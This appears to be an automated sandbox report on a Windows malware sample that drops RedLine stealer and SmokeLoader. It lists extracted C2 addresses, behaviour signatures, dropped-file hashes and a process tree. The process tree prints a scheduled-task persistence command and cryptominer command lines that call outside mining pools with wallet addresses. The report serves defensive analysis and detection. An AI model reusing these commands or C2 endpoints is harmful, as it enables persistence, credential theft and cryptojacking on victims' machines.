Analysis

  • max time kernel
    62s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2022, 22:16

General

  • Target
    832779cea083c3399318340f613e8a63.exe
  • Size 222KB
  • Sample221024-16r33saghk
  • SHA256 31a05be935773dbbcf90bc69e0784abb5e269cd009a4498d48e0c4a3c84e9d67
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • nam7

C2
  • 103.89.90.61:34589

Attributes
  • auth_value

    533c8fbdab4382453812c73ea2cee5b8

Extracted

Family
  • redline

Botnet
  • slovarik15btc

C2
  • 78.153.144.3:2510

Attributes
  • auth_value

    bfedad55292538ad3edd07ac95ad8952

Extracted

Family
  • redline

Botnet
  • Google2

C2
  • 167.235.71.14:20469

Attributes
  • auth_value

    fb274d9691235ba015830da570a13578

Signatures

  • Detects Smokeloader packer 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\832779cea083c3399318340f613e8a63.exe
    "C:\Users\Admin\AppData\Local\Temp\832779cea083c3399318340f613e8a63.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4716
  • C:\Users\Admin\AppData\Local\Temp\C326.exe
    C:\Users\Admin\AppData\Local\Temp\C326.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3552
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1236
      2⤵
      • Program crash
      PID:4652
  • C:\Users\Admin\AppData\Local\Temp\CB83.exe
    C:\Users\Admin\AppData\Local\Temp\CB83.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4084
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4084 -s 1684
      2⤵
      • Program crash
      PID:4360
  • C:\Users\Admin\AppData\Local\Temp\D73C.exe
    C:\Users\Admin\AppData\Local\Temp\D73C.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      2⤵
        PID:3472
    • C:\Users\Admin\AppData\Local\Temp\DC00.exe
      C:\Users\Admin\AppData\Local\Temp\DC00.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4576
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4576 -s 1252
        2⤵
        • Program crash
        PID:3132
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3552 -ip 3552
      1⤵
        PID:628
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4084 -ip 4084
        1⤵
          PID:2464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4576 -ip 4576
          1⤵
            PID:2584
          • C:\Users\Admin\AppData\Local\Temp\C29.exe
            C:\Users\Admin\AppData\Local\Temp\C29.exe
            1⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1612
          • C:\Users\Admin\AppData\Local\Temp\1206.exe
            C:\Users\Admin\AppData\Local\Temp\1206.exe
            1⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1504
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2400
          • C:\Users\Admin\AppData\Local\Temp\19B8.exe
            C:\Users\Admin\AppData\Local\Temp\19B8.exe
            1⤵
            • Executes dropped EXE
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:4988
            • C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
              "C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4040
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1DC9.tmp.bat""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4524
                • C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                  "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
                  4⤵
                  • Executes dropped EXE
                  • Checks computer location settings
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3760
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2352
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
                      6⤵
                      • Creates scheduled task(s)
                      PID:3160
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.test -p x -t 5
                    5⤵
                      PID:3712
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c cls
                        6⤵
                          PID:4652
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x09672db3c04f1bF3C0B2FaF05eBc09B52A362234.rig -coin etc -log 0
                        5⤵
                          PID:4556
                • C:\Windows\system32\timeout.exe
                  timeout 3
                  1⤵
                  • Delays execution with timeout.exe
                  PID:1768
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:4348
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:748
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:3628
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:3432
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:4208
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:4284
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:3236
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:5112
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:2308

                                  Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

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                                        Downloads

                                        LYKAA.exe

                                        • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                        • Size 836KB
                                        • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                        • MD5 SHA1 SHA512 SSDEEP

                                        LYKAA.exe

                                        • Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
                                        • Size 836KB
                                        • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                        • MD5 SHA1 SHA512 SSDEEP

                                        RegSvcs.exe.log

                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log
                                        • Size 2KB
                                        • SHA256 0b98d99267b9343be223f17fbcedc608f803a7193ee7fe3b662902e96a7c65e5
                                        • MD5 SHA1 SHA512

                                        1206.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\1206.exe
                                        • Size 723KB
                                        • SHA256 d21b80fc816ccc229f422567e50f2c62c675e2629458367640edc73c941de517
                                        • MD5 SHA1 SHA512 SSDEEP

                                        1206.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\1206.exe
                                        • Size 723KB
                                        • SHA256 d21b80fc816ccc229f422567e50f2c62c675e2629458367640edc73c941de517
                                        • MD5 SHA1 SHA512 SSDEEP

                                        19B8.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\19B8.exe
                                        • Size 1.1MB
                                        • SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
                                        • MD5 SHA1 SHA512 SSDEEP

                                        19B8.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\19B8.exe
                                        • Size 1.1MB
                                        • SHA256 be73afa7a9b39a447b38dc20b76017742364402e4dcaf629a014a694ed202d6a
                                        • MD5 SHA1 SHA512 SSDEEP

                                        C29.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\C29.exe
                                        • Size 723KB
                                        • SHA256 d05cbb0b2b1411052be5354305d8756164f97131cedac1a8cdec82e7bc3a6713
                                        • MD5 SHA1 SHA512 SSDEEP

                                        C29.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\C29.exe
                                        • Size 723KB
                                        • SHA256 d05cbb0b2b1411052be5354305d8756164f97131cedac1a8cdec82e7bc3a6713
                                        • MD5 SHA1 SHA512 SSDEEP

                                        C326.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\C326.exe
                                        • Size 368KB
                                        • SHA256 e0dc0990501e5fd3d56e2b77d99e6dd7256b576c63e011dbd273195ca380abc6
                                        • MD5 SHA1 SHA512 SSDEEP

                                        C326.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\C326.exe
                                        • Size 368KB
                                        • SHA256 e0dc0990501e5fd3d56e2b77d99e6dd7256b576c63e011dbd273195ca380abc6
                                        • MD5 SHA1 SHA512 SSDEEP

                                        CB83.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\CB83.exe
                                        • Size 380KB
                                        • SHA256 e2e9789c57c2cf4588539a0b07da6470f29c2aba69cf353c0b7ce54ada2b0648
                                        • MD5 SHA1 SHA512 SSDEEP

                                        CB83.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\CB83.exe
                                        • Size 380KB
                                        • SHA256 e2e9789c57c2cf4588539a0b07da6470f29c2aba69cf353c0b7ce54ada2b0648
                                        • MD5 SHA1 SHA512 SSDEEP

                                        D73C.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\D73C.exe
                                        • Size 723KB
                                        • SHA256 414aaf9da1483b2398b3106d72464bc1accbe6d2c7b003204f62e017df6cad64
                                        • MD5 SHA1 SHA512 SSDEEP

                                        D73C.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\D73C.exe
                                        • Size 723KB
                                        • SHA256 414aaf9da1483b2398b3106d72464bc1accbe6d2c7b003204f62e017df6cad64
                                        • MD5 SHA1 SHA512 SSDEEP

                                        DC00.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\DC00.exe
                                        • Size 350KB
                                        • SHA256 23ecd958cf9643c52e2951f734a39c7b250d7f185840955e62169b5b326d9439
                                        • MD5 SHA1 SHA512 SSDEEP

                                        DC00.exe

                                        • Path C:\Users\Admin\AppData\Local\Temp\DC00.exe
                                        • Size 350KB
                                        • SHA256 23ecd958cf9643c52e2951f734a39c7b250d7f185840955e62169b5b326d9439
                                        • MD5 SHA1 SHA512 SSDEEP

                                        tmp1DC9.tmp.bat

                                        • Path C:\Users\Admin\AppData\Local\Temp\tmp1DC9.tmp.bat
                                        • Size 153B
                                        • SHA256 5922feb1eeacff87494e09d8b97c9f64db6e70dd0fc1d7e2d5702ae264c3676e
                                        • MD5 SHA1 SHA512

                                        UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe

                                        • Path C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
                                        • Size 836KB
                                        • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                        • MD5 SHA1 SHA512 SSDEEP

                                        UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe

                                        • Path C:\Users\Admin\AppData\Roaming\UbcHhFhbkSBskFSBEsBKFCAcShcFskcBfCACcHFHAHCABBBCFCAHHbF.exe
                                        • Size 836KB
                                        • SHA256 34ef414650a9bff1205c4483b8f87f887c9f7f133df4ed65ffda04426c0473d0
                                        • MD5 SHA1 SHA512 SSDEEP

                                        memory/748-226-0x00000000009E0000-0x00000000009E9000-memory.dmp

                                        memory/748-258-0x00000000009E0000-0x00000000009E9000-memory.dmp

                                        memory/748-227-0x00000000009D0000-0x00000000009DF000-memory.dmp

                                        memory/1504-201-0x0000000000970000-0x0000000000A28000-memory.dmp

                                        memory/1612-186-0x0000000000400000-0x0000000000428000-memory.dmp

                                        memory/2308-254-0x0000000000930000-0x0000000000938000-memory.dmp

                                        memory/2308-255-0x0000000000920000-0x000000000092B000-memory.dmp

                                        memory/2400-196-0x0000000000400000-0x0000000000428000-memory.dmp

                                        memory/3236-242-0x0000000000740000-0x0000000000746000-memory.dmp

                                        memory/3236-243-0x0000000000730000-0x000000000073B000-memory.dmp

                                        memory/3432-232-0x00000000005F0000-0x00000000005F6000-memory.dmp

                                        memory/3432-233-0x00000000005E0000-0x00000000005EC000-memory.dmp

                                        memory/3432-260-0x00000000005F0000-0x00000000005F6000-memory.dmp

                                        memory/3472-164-0x0000000000400000-0x0000000000428000-memory.dmp

                                        memory/3552-142-0x0000000004DD0000-0x0000000005374000-memory.dmp

                                        memory/3552-146-0x0000000005380000-0x0000000005998000-memory.dmp

                                        memory/3552-179-0x0000000000400000-0x00000000005B9000-memory.dmp

                                        memory/3552-151-0x0000000005DE0000-0x0000000005E46000-memory.dmp

                                        memory/3552-178-0x0000000000843000-0x0000000000879000-memory.dmp

                                        memory/3552-141-0x0000000000400000-0x00000000005B9000-memory.dmp

                                        memory/3552-140-0x0000000000720000-0x0000000000779000-memory.dmp

                                        memory/3552-139-0x0000000000843000-0x0000000000879000-memory.dmp

                                        memory/3552-149-0x0000000005AD0000-0x0000000005B0C000-memory.dmp

                                        memory/3552-154-0x0000000006600000-0x0000000006692000-memory.dmp

                                        memory/3552-171-0x00000000068B0000-0x0000000006DDC000-memory.dmp

                                        memory/3552-170-0x00000000066C0000-0x0000000006882000-memory.dmp

                                        memory/3552-147-0x00000000059A0000-0x00000000059B2000-memory.dmp

                                        memory/3552-148-0x00000000059C0000-0x0000000005ACA000-memory.dmp

                                        memory/3628-230-0x0000000000730000-0x0000000000739000-memory.dmp

                                        memory/3628-229-0x0000000000740000-0x0000000000745000-memory.dmp

                                        memory/3628-259-0x0000000000740000-0x0000000000745000-memory.dmp

                                        memory/3712-244-0x0000000140000000-0x00000001400C6000-memory.dmp

                                        memory/3712-246-0x0000000140000000-0x00000001400C6000-memory.dmp

                                        memory/3712-247-0x0000000140000000-0x00000001400C6000-memory.dmp

                                        memory/3712-250-0x0000000140000000-0x00000001400C6000-memory.dmp

                                        memory/3760-256-0x00007FF9635C0000-0x00007FF964081000-memory.dmp

                                        memory/3760-220-0x00007FF9635C0000-0x00007FF964081000-memory.dmp

                                        memory/3984-191-0x0000000000E30000-0x0000000000EE8000-memory.dmp

                                        memory/4040-215-0x00007FF9635C0000-0x00007FF964081000-memory.dmp

                                        memory/4040-210-0x00007FF9635C0000-0x00007FF964081000-memory.dmp

                                        memory/4040-209-0x0000000000EA0000-0x0000000000F76000-memory.dmp

                                        memory/4084-153-0x0000000000400000-0x00000000005BD000-memory.dmp

                                        memory/4084-172-0x0000000006530000-0x000000000654E000-memory.dmp

                                        memory/4084-176-0x0000000000823000-0x000000000085A000-memory.dmp

                                        memory/4084-155-0x0000000006420000-0x0000000006470000-memory.dmp

                                        memory/4084-177-0x0000000000400000-0x00000000005BD000-memory.dmp

                                        memory/4084-156-0x0000000006480000-0x00000000064F6000-memory.dmp

                                        memory/4084-152-0x00000000020B0000-0x0000000002109000-memory.dmp

                                        memory/4084-150-0x0000000000823000-0x000000000085A000-memory.dmp

                                        memory/4208-236-0x0000000000720000-0x0000000000747000-memory.dmp

                                        memory/4208-235-0x0000000000750000-0x0000000000772000-memory.dmp

                                        memory/4284-239-0x0000000000C50000-0x0000000000C55000-memory.dmp

                                        memory/4284-240-0x0000000000C40000-0x0000000000C49000-memory.dmp

                                        memory/4348-221-0x0000000000740000-0x0000000000747000-memory.dmp

                                        memory/4348-222-0x0000000000730000-0x000000000073B000-memory.dmp

                                        memory/4348-257-0x0000000000740000-0x0000000000747000-memory.dmp

                                        memory/4528-169-0x0000000000160000-0x0000000000218000-memory.dmp

                                        memory/4576-174-0x00000000006E0000-0x000000000071E000-memory.dmp

                                        memory/4576-181-0x0000000000400000-0x00000000005B6000-memory.dmp

                                        memory/4576-175-0x0000000000400000-0x00000000005B6000-memory.dmp

                                        memory/4576-173-0x00000000007C3000-0x00000000007F4000-memory.dmp

                                        memory/4576-180-0x00000000007C3000-0x00000000007F4000-memory.dmp

                                        memory/4716-132-0x0000000000882000-0x0000000000893000-memory.dmp

                                        memory/4716-134-0x0000000000400000-0x0000000000596000-memory.dmp

                                        memory/4716-133-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                        memory/4716-135-0x0000000000400000-0x0000000000596000-memory.dmp

                                        memory/4988-205-0x00000000007E0000-0x0000000000900000-memory.dmp

                                        memory/4988-211-0x00007FF9635C0000-0x00007FF964081000-memory.dmp

                                        memory/5112-251-0x0000000000E00000-0x0000000000E07000-memory.dmp

                                        memory/5112-252-0x0000000000BF0000-0x0000000000BFD000-memory.dmp